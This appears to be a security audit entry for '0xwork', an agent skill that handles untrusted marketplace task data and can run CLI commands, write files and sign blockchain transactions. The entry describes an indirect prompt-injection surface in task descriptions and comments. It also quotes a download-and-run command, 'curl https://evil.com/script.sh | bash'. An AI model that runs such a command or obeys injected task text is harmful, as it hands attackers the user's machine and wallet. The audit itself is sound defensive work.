The Agent Skills Directory

[PROMPT_INJECTION]: The skill processes untrusted marketplace data (task descriptions, comments, and external URLs), creating an indirect prompt injection surface.
Ingestion points: Task descriptions and poster comments retrieved via 0xwork discover and 0xwork task commands in SKILL.md.
Boundary markers: No structural boundary markers (e.g., XML tags or delimiters) are provided during data interpolation; the skill relies on the LLM to follow instructional warnings.
Capability inventory: The agent can execute CLI commands, write to the file system (deliverables), and sign blockchain transactions.
Sanitization: No programmatic sanitization is implemented; the skill uses prompt-level instructions to tell the agent to ignore financial or system commands found in task data.
[COMMAND_EXECUTION]: The skill requires the installation and execution of a global Node.js package (@0xwork/cli) and uses it to perform shell-based operations, including generating and managing local environment files.
[REMOTE_CODE_EXECUTION]: The documentation includes a remote code execution pattern (curl https://evil.com/script.sh | bash) as a negative example to warn the agent against malicious task descriptions. While intended as a safety instruction, this constitutes a detection of a high-risk pattern in the text.

0xwork